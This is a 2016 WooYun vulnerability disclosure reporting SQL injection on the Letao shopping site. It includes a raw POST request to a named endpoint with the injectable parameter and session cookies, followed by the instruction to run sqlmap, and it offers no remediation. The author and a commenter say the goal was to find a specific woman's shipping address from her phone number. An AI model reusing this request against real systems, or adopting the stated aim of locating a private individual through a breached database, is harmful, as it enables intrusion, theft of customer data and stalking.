当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0176587

漏洞标题：乐淘主站注入漏洞

相关厂商：乐淘网

漏洞作者： 赵健康

提交时间：2016-02-17 23:22

修复时间：2016-02-22 23:30

公开时间：2016-02-22 23:30

漏洞类型：

危害等级：高

自评Rank：10

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-02-17： 细节已通知厂商并且等待厂商处理中
2016-02-22： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

找到一个妹子的手机号，发现他上过乐淘买过东西，就找找他的漏洞吧。

详细说明：

POST /web_service/registration_ws.aspx?op=GetParticpantlistByLetter HTTP/1.1
Host: www.letao.com
Content-Length: 64
Accept: */*
Origin: http://www.letao.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://www.letao.com/model/beautylist
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: ASP.NET_SessionId=nebfqw1rxauyll13hldgkxnr; letao_session=kxmogyuz8rumgo1345dwb78c; __utma=216323467.782704099.1455719076.1455719076.1455719076.1; __utmb=216323467.45.10.1455719076; __utmc=216323467; __utmz=216323467.1455719076.1.1.utmcsr=baidu|utmccn=(organic)|utmcmd=organic; Hm_lvt_550cacd7155eb4f1de832d1c00b07352=1455719076; Hm_lpvt_550cacd7155eb4f1de832d1c00b07352=1455720298
Connection: close
data=["%*","最新",1,12,"搜索查询",0,1]


直接sqlmap

漏洞证明：

捕获.JPG

修复方案：

自己看吧

版权声明：转载请注明来源 赵健康@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2016-02-22 23:30

厂商回复：

漏洞Rank：15 (WooYun评价)

最新状态：

暂无

漏洞评价：

评价

  1. 2016-02-18 00:16 | xq17 ( 实习白帽子 | Rank:89 漏洞数:21 | xq17小菜鸟来向大神学习了)

    希望没和你重复哈

  2. 2016-02-18 00:19 | 赵健康 ( 路人 | Rank:22 漏洞数:6 | 慢慢进步！！！)

    @xq17 肯定重复了

  3. 2016-02-18 00:20 | xq17 ( 实习白帽子 | Rank:89 漏洞数:21 | xq17小菜鸟来向大神学习了)

    我找到2处

  4. 2016-02-18 00:24 | 赵健康 ( 路人 | Rank:22 漏洞数:6 | 慢慢进步！！！)

    @xq17 厉害 我主要想找妹子的收货地址了

  5. 2016-02-22 23:43 | 毛猴 ( 普通白帽子 | Rank:104 漏洞数:37 | 一 只 怀 有 梦 想 的 猴 ......)

    我主要想找妹子的收货地址了